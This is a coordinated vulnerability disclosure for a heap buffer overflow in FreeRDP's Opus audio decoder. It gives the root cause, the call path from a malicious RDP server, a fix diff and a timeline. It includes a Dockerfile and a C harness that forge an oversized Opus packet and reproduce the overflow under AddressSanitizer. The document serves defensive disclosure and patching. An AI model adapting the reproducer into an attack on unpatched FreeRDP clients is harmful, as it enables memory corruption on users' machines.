ANT-2026-EWM7B5QP · freerdp/freerdp
heap-buffer-overflow high
CVE-2026-63633 GHSA-72j9-356v-88xq
Severity Claude high · Security research firm high · Maintainer -
Discovered by Claude Mythos Preview
Anthropic's analysis, sealed at approval. Disclosure to the maintainer was performed by Ada Logics.
ANT-2026-EWM7B5QP: Opus audio decode resizes wrong stream, overflows output
In freerdp_dsp_decode_opus() (libfreerdp/codec/dsp.c:682-692), the code computes max_size = OPUS_MAX_FRAMES * channels * sizeof(int16_t) and calls Stream_EnsureRemainingCapacity() on context->common.buffer instead of the caller-supplied out stream that opus_decode() actually writes into. out comes from StreamPool_Take(pool, 4096) in rdpsnd_main.c:634 and is never resized, so a 60–120 ms stereo Opus packet causes libopus to write up to 23,040 bytes into a 4,096-byte heap buffer. A malicious RDP server can negotiate WAVE_FORMAT_OPUS on the rdpsnd channel (the client advertises it when built WITH_OPUS and without FFmpeg DSP) and stream such a packet to overflow ~19KB of attacker-influenced PCM past the buffer. This is a remotely-triggerable server→client heap overflow leading to memory corruption and potential RCE in the FreeRDP client.
Target
Project: freerdp/freerdp
Location: libfreerdp/codec/dsp.c:685
Discovery: static analysis — not yet dynamically reproduced
Technical Details
The root cause is a copy-paste bug: Stream_EnsureRemainingCapacity() is called on context->common.buffer (dsp.c:683) rather than on out, while opus_decode() writes to Stream_Pointer(out) with frame_size=OPUS_MAX_FRAMES (dsp.c:687-688). Every sibling codec in the same file correctly resizes out (dsp.c:516,535,590,770,881,1167) — only the Opus path gets it wrong, and no upstream size check on out exists anywhere in the call chain.
Reproduction
- Client iterates server-supplied audio formats (rdpsnd_main.c:180-194); freerdp_dsp_supports_format() returns TRUE for WAVE_FORMAT_OPUS (dsp.c:1576-1577), so the client advertises Opus.
- Server selects the Opus format index and sends a Wave/Wave2 PDU containing a ≥40 ms Opus packet.
- rdpsnd_main.c:634 obtains pcmData = StreamPool_Take(pool, 4096) — exactly 4096 B on first use.
- device->FormatSupported returns FALSE for Opus on all shipped backends (ALSA/Pulse/OSS/sndio/winmm/mac/iOS/opensles), so rdpsnd_main.c:643 calls freerdp_dsp_decode().
- dsp.c:1496-1497 dispatches to freerdp_dsp_decode_opus(), which resizes the wrong stream and calls opus_decode() into the 4 KB
out, overflowing up to ~19 KB past it.
[No reproducer or sanitizer output attached — request from security-cvd@anthropic.com if needed.]
Suggested Fix
Call Stream_EnsureRemainingCapacity() on the actual destination stream out (not context->common.buffer) so that at least max_size writable bytes are guaranteed before invoking opus_decode().
Acknowledgement
This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by the Anthropic security team in collaboration with Anthropic Research. Please direct questions to security-cvd@anthropic.com and reference ANT-2026-EWM7B5QP.
Reference: ANT-2026-EWM7B5QP
Anthropic CVD Policy: https://www.anthropic.com/coordinated-vulnerability-disclosure
Triage and disclosure were performed by Ada Logics. The writeup below is the document the firm sent to the maintainer.
- Verdict
- true positive
- Severity
- high
Summary
freerdp_dsp_decode_opus() (libfreerdp/codec/dsp.c) grows the wrong stream before
decoding: it calls Stream_EnsureRemainingCapacity() on context->common.buffer, but
opus_decode() writes the decoded PCM into the caller-supplied out stream — which is
the fixed 4096-byte buffer the rdpsnd client channel hands to the decoder
(StreamPool_Take(pool, 4096)), and which is never resized. Because opus_decode() is
told its output capacity is OPUS_MAX_FRAMES (5760 samples/channel), libopus decodes a
full frame and writes up to ~19 KB of attacker-influenced PCM past the end of the 4 KB
heap allocation.
A malicious (or compromised, or MITM) RDP server that negotiates WAVE_FORMAT_OPUS on
the rdpsnd (audio) channel can trigger this on a connecting FreeRDP client with a
single Opus wave PDU — no user interaction beyond connecting and having audio redirection
active (the default once negotiated). This is a server→client, remotely triggerable,
attacker-influenced heap buffer overflow.
Every sibling codec in dsp.c resizes out; only the Opus path resizes
context->common.buffer — a copy-paste error.
Affected versions
- All FreeRDP 3.x — the Opus decode path (
freerdp_dsp_decode_opus) was introduced in 3.0.0 and the wrong-stream resize has been present since. Confirmed present in the latest release tag 3.27.1 and onmaster(HEAD1f7a716d39b5605bb8a83b0c3c97a6ce386609ef, reproduced 2026-07-01). Unpatched. - Build condition: affects clients built
WITH_OPUS=ONand withoutWITH_DSP_FFMPEG(when the FFmpeg DSP backend is present,freerdp_dsp_*dispatches to it instead of this code). This is a real shipped configuration on platforms that enable the bundled Opus codec but not the FFmpeg DSP. - 1.x / 2.x predate Opus support and are unaffected (and unsupported).
Distinct from the published CVE-2026-31883 / GHSA-85x9-4xxp-xhm5 (heap overflow in the
same dsp.c via the IMA/MS-ADPCM decoders, fixed in 3.24.0) — that fix did not touch
the Opus path, which remains vulnerable.
Details
Vulnerable code
libfreerdp/codec/dsp.c, freerdp_dsp_decode_opus():
static BOOL freerdp_dsp_decode_opus(FREERDP_DSP_CONTEXT* WINPR_RESTRICT context,
const BYTE* WINPR_RESTRICT src, size_t size,
wStream* WINPR_RESTRICT out)
{
if (!context || !src || !out)
return FALSE;
/* Max packet duration is 120ms (5760 at 48KHz) */
const size_t max_size = OPUS_MAX_FRAMES * context->common.format.nChannels * sizeof(int16_t);
if (!Stream_EnsureRemainingCapacity(context->common.buffer, max_size)) // WRONG stream (dsp.c:684)
return FALSE;
const opus_int32 frames =
opus_decode(context->opus_decoder, src, WINPR_ASSERTING_INT_CAST(opus_int32, size),
Stream_Pointer(out), OPUS_MAX_FRAMES, 0); // writes into `out` (dsp.c:688)
if (frames < 0)
return FALSE;
Stream_Seek(out, (size_t)frames * context->common.format.nChannels * sizeof(int16_t));
return TRUE;
}
OPUS_MAX_FRAMES is 5760. The capacity check is applied to context->common.buffer, but
the decode destination is Stream_Pointer(out). The frame_size argument (5760) tells
libopus the buffer holds 5760 samples/channel, so it writes the whole decoded frame — for
stereo, frames * 2 * sizeof(int16_t) bytes — irrespective of the true 4096-byte size of
out. No code in the call chain bounds out.
Root cause
Missing capacity guarantee on the decode destination out. Stream_EnsureRemainingCapacity
is applied to the wrong stream (context->common.buffer), so out (4096 bytes) is written
past its end. Sibling decoders in the same file all resize out correctly.
Server-controlled call path
rdpsnd_recv_wave_pdu / rdpsnd_recv_wave2_pdu channels/rdpsnd/client/rdpsnd_main.c
pcmData = StreamPool_Take(rdpsnd->pool, 4096) rdpsnd_main.c:641 (the 4096-byte `out`)
freerdp_dsp_decode(dsp, format, data, size, pcmData) rdpsnd_main.c:650
freerdp_dsp_decode libfreerdp/codec/dsp.c:1499
freerdp_dsp_decode_opus libfreerdp/codec/dsp.c:684 (resizes wrong stream)
opus_decode(..., Stream_Pointer(out), OPUS_MAX_FRAMES, 0) dsp.c:688
-> WRITE past the end of the 4096-byte region (heap-buffer-overflow)
The client advertises Opus to the server because freerdp_dsp_supports_format() returns
TRUE for WAVE_FORMAT_OPUS, and the rdpsnd format-negotiation loop offers every
DSP-decodable format — so a malicious server can select Opus and stream the triggering wave
PDU.
Impact
A malicious RDP server overflows a 4 KB client-side heap buffer by up to ~19 KB
(stereo, up to 120 ms/packet) with attacker-influenced PCM content. This corrupts adjacent
heap objects / allocator metadata — a contiguous linear overwrite of this size is a classic
heap-corruption → RCE primitive. Written bytes are decoded PCM (attacker-shaped, not fully
arbitrary). Reachable pre-interaction on an affected build once the victim connects to the
attacker's server and audio is negotiated. In release builds the downstream Stream_Seek
assertion is compiled out, so the corruption is silent.
Proof of Concept
Self-contained Docker reproducer. It builds libfreerdp (with WITH_OPUS=ON,
WITH_DSP_FFMPEG=OFF) and libopus from source under AddressSanitizer at the affected
commit, forges the attacker's "server" Opus packet with the libopus encoder (a 60 ms stereo
frame → 2880 samples/ch → 11,520 PCM bytes ≫ 4096), and replays exactly the call the rdpsnd
client makes: freerdp_dsp_decode(dsp, &opus_format, packet, len, StreamPool_Take(pool, 4096)).
(libopus is built with ASan so the out-of-bounds store inside opus_decode() is reported
precisely.)
Dockerfile
FROM ubuntu:24.04
ENV DEBIAN_FRONTEND=noninteractive
ARG TARGET_COMMIT=1f7a716d39b5605bb8a83b0c3c97a6ce386609ef
ARG CLANG_VERSION=20
RUN apt-get update && apt-get install -y --no-install-recommends \
ca-certificates git make cmake pkg-config libc6-dev \
wget gnupg lsb-release software-properties-common \
libssl-dev zlib1g-dev libfuse3-dev autoconf automake libtool \
&& wget -qO /tmp/llvm.sh https://apt.llvm.org/llvm.sh && chmod +x /tmp/llvm.sh && /tmp/llvm.sh ${CLANG_VERSION} \
&& apt-get install -y --no-install-recommends clang-${CLANG_VERSION} llvm-${CLANG_VERSION} libclang-rt-${CLANG_VERSION}-dev \
&& rm -rf /var/lib/apt/lists/*
ENV CC=clang-${CLANG_VERSION} CXX=clang++-${CLANG_VERSION}
ENV CFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address"
ENV CXXFLAGS="$CFLAGS"
ENV LDFLAGS="-fsanitize=address"
# libopus from source WITH ASan so the decode write loop is instrumented.
ARG OPUS_TAG=v1.5.2
RUN git clone --branch ${OPUS_TAG} --depth 1 https://github.com/xiph/opus /src/opus
RUN cmake -S /src/opus -B /src/opus/build \
-DCMAKE_BUILD_TYPE=Debug -DCMAKE_C_FLAGS="$CFLAGS" \
-DCMAKE_SHARED_LINKER_FLAGS="$LDFLAGS" -DCMAKE_INSTALL_PREFIX=/usr \
-DBUILD_SHARED_LIBS=ON -DOPUS_BUILD_PROGRAMS=OFF -DOPUS_BUILD_TESTING=OFF \
&& cmake --build /src/opus/build -j"$(nproc)" && cmake --install /src/opus/build
RUN git clone https://github.com/FreeRDP/FreeRDP /src/repo
WORKDIR /src/repo
RUN git checkout ${TARGET_COMMIT}
# libfreerdp (incl. codec/dsp.c) + winpr with ASan; Opus ON, FFmpeg DSP OFF
# -> the WITH_OPUS && !WITH_DSP_FFMPEG build the bug requires.
RUN cmake -S . -B build \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="$CFLAGS" \
-DCMAKE_EXE_LINKER_FLAGS="$LDFLAGS" \
-DCMAKE_SHARED_LINKER_FLAGS="$LDFLAGS" \
-DCMAKE_INSTALL_PREFIX=/usr \
-DWITH_OPUS=ON -DWITH_DSP_FFMPEG=OFF -DWITH_FFMPEG=OFF \
-DWITH_SERVER=OFF -DWITH_CLIENT=OFF -DWITH_SAMPLE=OFF \
-DWITH_MANPAGES=OFF -DBUILD_TESTING=OFF -DUSE_UNWIND=OFF \
-DWITH_X11=OFF -DWITH_WAYLAND=OFF -DWITH_CUPS=OFF -DWITH_PCSC=OFF \
-DWITH_KRB5=OFF -DWITH_SWSCALE=OFF -DWITH_WEBVIEW=OFF -DWITH_AAD=OFF \
-DWITH_FUSE=OFF -DWITH_LIBRESSL=OFF -DCHANNEL_URBDRC=OFF \
&& cmake --build build --target freerdp -j"$(nproc)"
COPY harness.c /tmp/harness.c
RUN FRDP_SO=$(find /src/repo/build -name 'libfreerdp3.so*' -type f | head -1) \
&& WINPR_SO=$(find /src/repo/build -name 'libwinpr3.so*' -type f | head -1) \
&& $CC $CFLAGS \
-I/src/repo/include -I/src/repo/build/include \
-I/src/repo/winpr/include -I/src/repo/build/winpr/include \
/tmp/harness.c -o /tmp/poc_run \
"$FRDP_SO" "$WINPR_SO" -lopus $LDFLAGS
ENV ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:symbolize=1
ENV ASAN_SYMBOLIZER_PATH=/usr/lib/llvm-${CLANG_VERSION}/bin/llvm-symbolizer
ENV LD_LIBRARY_PATH=/src/repo/build/libfreerdp:/src/repo/build/winpr/libwinpr
CMD ["/bin/sh","-c","/tmp/poc_run 2>&1; echo EXIT=$?"]
harness.c — replays the exact rdpsnd client call with an attacker-forged Opus packet
/* Drives the same public libfreerdp DSP API the rdpsnd client uses on a server
* WAVE_FORMAT_OPUS wave PDU:
* rdpsnd_main.c:641 pcmData = StreamPool_Take(pool, 4096);
* rdpsnd_main.c:650 freerdp_dsp_decode(dsp, format, data, size, pcmData);
* freerdp_dsp_decode_opus() resizes context->common.buffer (dsp.c:684) but
* opus_decode() writes into `out` (dsp.c:688) -> overflow of the 4096-byte out. */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <opus/opus.h>
#include <winpr/stream.h>
#include <freerdp/codec/dsp.h>
#include <freerdp/codec/audio.h>
#define SR 48000
#define CH 2
#define FRAME 2880 /* 60 ms at 48 kHz = 2880 samples/channel */
int main(void)
{
/* 1. Forge the malicious "server" Opus packet. */
int err = 0;
OpusEncoder* enc = opus_encoder_create(SR, CH, OPUS_APPLICATION_AUDIO, &err);
if (!enc || err != OPUS_OK) { fprintf(stderr, "opus_encoder_create failed: %d\n", err); return 2; }
opus_encoder_ctl(enc, OPUS_SET_BITRATE(OPUS_BITRATE_MAX));
opus_int16* pcm = calloc((size_t)FRAME * CH, sizeof(opus_int16));
for (int i = 0; i < FRAME * CH; i++) pcm[i] = (opus_int16)((i * 977) & 0x7fff); /* non-silent */
unsigned char packet[8192];
opus_int32 plen = opus_encode(enc, pcm, FRAME, packet, sizeof(packet));
if (plen < 0) { fprintf(stderr, "opus_encode failed: %d\n", plen); return 2; }
fprintf(stderr, "[*] forged Opus packet: %d bytes -> decodes to %d samples/ch (%d PCM bytes)\n",
plen, FRAME, FRAME * CH * (int)sizeof(opus_int16));
/* 2. Stand up the decoder exactly as the rdpsnd client does. */
AUDIO_FORMAT fmt;
memset(&fmt, 0, sizeof(fmt));
fmt.wFormatTag = WAVE_FORMAT_OPUS; /* 0x704F */
fmt.nChannels = CH; fmt.nSamplesPerSec = SR; fmt.wBitsPerSample = 16;
fmt.nBlockAlign = CH * 2; fmt.nAvgBytesPerSec = SR * fmt.nBlockAlign;
FREERDP_DSP_CONTEXT* dsp = freerdp_dsp_context_new(FALSE /* decoder */);
if (!dsp) { fprintf(stderr, "dsp_context_new failed\n"); return 2; }
if (!freerdp_dsp_context_reset(dsp, &fmt, 0)) { fprintf(stderr, "dsp_context_reset failed\n"); return 2; }
/* Same 4096-byte destination buffer rdpsnd_main.c:641 hands to the decoder. */
wStreamPool* pool = StreamPool_New(TRUE, 4096);
wStream* out = StreamPool_Take(pool, 4096);
fprintf(stderr, "[*] out stream capacity = %zu bytes (server frame will write %d)\n",
Stream_Capacity(out), FRAME * CH * (int)sizeof(opus_int16));
/* 3. Trigger. */
fprintf(stderr, "[*] calling freerdp_dsp_decode() -> freerdp_dsp_decode_opus() ...\n");
BOOL ok = freerdp_dsp_decode(dsp, &fmt, packet, (size_t)plen, out);
fprintf(stderr, "[*] freerdp_dsp_decode returned %d (no ASan abort => not reproduced)\n", ok);
Stream_Release(out); StreamPool_Free(pool);
freerdp_dsp_context_free(dsp); opus_encoder_destroy(enc); free(pcm);
return 0;
}
Run
docker build -t freerdp-opus-overflow .
docker run --rm freerdp-opus-overflow
Observed output (AddressSanitizer, current master 1f7a716d)
[*] forged Opus packet: 1274 bytes -> decodes to 2880 samples/ch (11520 PCM bytes)
[*] out stream capacity = 4096 bytes (server frame will write 11520)
[*] calling freerdp_dsp_decode() -> freerdp_dsp_decode_opus() ...
==7==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7df8ed7e1100 ...
WRITE of size 2 at 0x7df8ed7e1100 thread T0
#0 opus_decode /src/opus/src/opus_decoder.c:890:17
#1 freerdp_dsp_decode_opus /src/repo/libfreerdp/codec/dsp.c:688:6
#2 freerdp_dsp_decode /src/repo/libfreerdp/codec/dsp.c:1499:11
#3 main /tmp/harness.c
0x7df8ed7e1100 is located 0 bytes after 4096-byte region [0x7df8ed7e0100,0x7df8ed7e1100)
allocated by thread T0 here:
Stream_New /src/repo/winpr/libwinpr/utils/stream.c:101:22
StreamPool_Take /src/repo/winpr/libwinpr/utils/collections/StreamPool.c:244:7
SUMMARY: AddressSanitizer: heap-buffer-overflow opus_decoder.c:890 in opus_decode
EXIT=134
The overflow write lands exactly at the end of the 4096-byte StreamPool_Take allocation,
inside opus_decode called from freerdp_dsp_decode_opus.
Suggested fix
Resize the destination stream out (not context->common.buffer) before decoding:
--- a/libfreerdp/codec/dsp.c
+++ b/libfreerdp/codec/dsp.c
@@ static BOOL freerdp_dsp_decode_opus(...)
/* Max packet duration is 120ms (5760 at 48KHz) */
const size_t max_size = OPUS_MAX_FRAMES * context->common.format.nChannels * sizeof(int16_t);
- if (!Stream_EnsureRemainingCapacity(context->common.buffer, max_size))
+ if (!Stream_EnsureRemainingCapacity(out, max_size))
return FALSE;
This matches every sibling decoder in dsp.c. Fix-verified: with this one-line change,
the same PoC completes cleanly (freerdp_dsp_decode returns success, EXIT=0, no ASan
report). Hardening complement: pass the actual remaining capacity of out (in
samples/channel) as the frame_size argument to opus_decode() instead of the constant
OPUS_MAX_FRAMES, so libopus refuses oversized frames rather than trusting the caller.
References
libfreerdp/codec/dsp.c—freerdp_dsp_decode_opus()(wrong-stream resize +opus_decodeintoout),freerdp_dsp_decode()(dispatch).channels/rdpsnd/client/rdpsnd_main.c—StreamPool_Take(pool, 4096)andfreerdp_dsp_decode(...)on wave PDUs.- Opus decode introduced in FreeRDP commit
330f7ae0a("codec/dsp: Add support for decoding Opus encoded streams"); wrong-stream resize present since. - Distinct sibling advisory: CVE-2026-31883 / GHSA-85x9-4xxp-xhm5 (ADPCM in the same file, fixed 3.24.0).
- CWE-787 (Out-of-bounds Write), CWE-131 (Incorrect Calculation of Buffer Size).
Attribution
Please credit Claude and Ada Logics — found by Anthropic using agents to study the security of open-source projects, with Ada Logics validating and reporting.
Disclosure
This report follows a 90-day coordinated disclosure timeline: https://www.anthropic.com/coordinated-vulnerability-disclosure
The change that resolved this finding.
diff --git a/libfreerdp/codec/dsp.c b/libfreerdp/codec/dsp.c
index b4c083e18dd7..dc5fbde1f8bd 100644
--- a/libfreerdp/codec/dsp.c
+++ b/libfreerdp/codec/dsp.c
@@ -681,7 +681,7 @@ static BOOL freerdp_dsp_decode_opus(FREERDP_DSP_CONTEXT* WINPR_RESTRICT context,
/* Max packet duration is 120ms (5760 at 48KHz) */
const size_t max_size = OPUS_MAX_FRAMES * context->common.format.nChannels * sizeof(int16_t);
- if (!Stream_EnsureRemainingCapacity(context->common.buffer, max_size))
+ if (!Stream_EnsureRemainingCapacity(out, max_size))
return FALSE;
const opus_int32 frames =https://github.com/FreeRDP/FreeRDP/commit/0ed1f95d36913581cf31124f94eb5843d4263eae
Recorded dates, in order.
- 2026-04-02 Discovered or logged
- 2026-07-06 Patch released
- 2026-07-22 Sent to maintainer
- 2026-07-22 Maintainer acknowledged
- 2026-09-28 Publicly revealed
SHA-3-512 hash:
f25c65dd628714bf5562cceab720fa2203283e59ed7dc2a2fab688cd384d115cd836aec627592b44f04f857ec74f30f100c9f635db36190c6d9a2f6574c3b999
Committed 2026-07-22 07:29 UTC
Revealed 2026-09-28 21:59 UTC
Verify (download preimage.json)
Show preimage JSON
{
"ant_id": "ANT-2026-EWM7B5QP",
"bug_class": "Heap Buffer Overflow",
"claude_severity": "high",
"commit_sha": null,
"created_at": "2026-04-16T01:52:41+00:00",
"description": "In freerdp_dsp_decode_opus() (libfreerdp/codec/dsp.c:682-692), the code computes max_size = OPUS_MAX_FRAMES * channels * sizeof(int16_t) and calls Stream_EnsureRemainingCapacity() on context->common.buffer instead of the caller-supplied `out` stream that opus_decode() actually writes into. `out` comes from StreamPool_Take(pool, 4096) in rdpsnd_main.c:634 and is never resized, so a 60–120 ms stereo Opus packet causes libopus to write up to 23,040 bytes into a 4,096-byte heap buffer. A malicious RDP server can negotiate WAVE_FORMAT_OPUS on the rdpsnd channel (the client advertises it when built WITH_OPUS and without FFmpeg DSP) and stream such a packet to overflow ~19KB of attacker-influenced PCM past the buffer. This is a remotely-triggerable server→client heap overflow leading to memory corruption and potential RCE in the FreeRDP client.",
"discovered_at": "2026-04-02T00:00:00+00:00",
"location": "libfreerdp/codec/dsp.c:685",
"poc_sha256": null,
"preimage_version": 1,
"project": "freerdp/freerdp",
"reproduction": [
"1. Client iterates server-supplied audio formats (rdpsnd_main.c:180-194); freerdp_dsp_supports_format() returns TRUE for WAVE_FORMAT_OPUS (dsp.c:1576-1577), so the client advertises Opus.",
"2. Server selects the Opus format index and sends a Wave/Wave2 PDU containing a ≥40 ms Opus packet.",
"3. rdpsnd_main.c:634 obtains pcmData = StreamPool_Take(pool, 4096) — exactly 4096 B on first use.",
"4. device->FormatSupported returns FALSE for Opus on all shipped backends (ALSA/Pulse/OSS/sndio/winmm/mac/iOS/opensles), so rdpsnd_main.c:643 calls freerdp_dsp_decode().",
"5. dsp.c:1496-1497 dispatches to freerdp_dsp_decode_opus(), which resizes the wrong stream and calls opus_decode() into the 4 KB `out`, overflowing up to ~19 KB past it."
],
"technical_details": "The root cause is a copy-paste bug: Stream_EnsureRemainingCapacity() is called on context->common.buffer (dsp.c:683) rather than on `out`, while opus_decode() writes to Stream_Pointer(out) with frame_size=OPUS_MAX_FRAMES (dsp.c:687-688). Every sibling codec in the same file correctly resizes `out` (dsp.c:516,535,590,770,881,1167) — only the Opus path gets it wrong, and no upstream size check on `out` exists anywhere in the call chain.",
"title": "Opus audio decode resizes wrong stream, overflows output",
"vendor_severity": "high"
}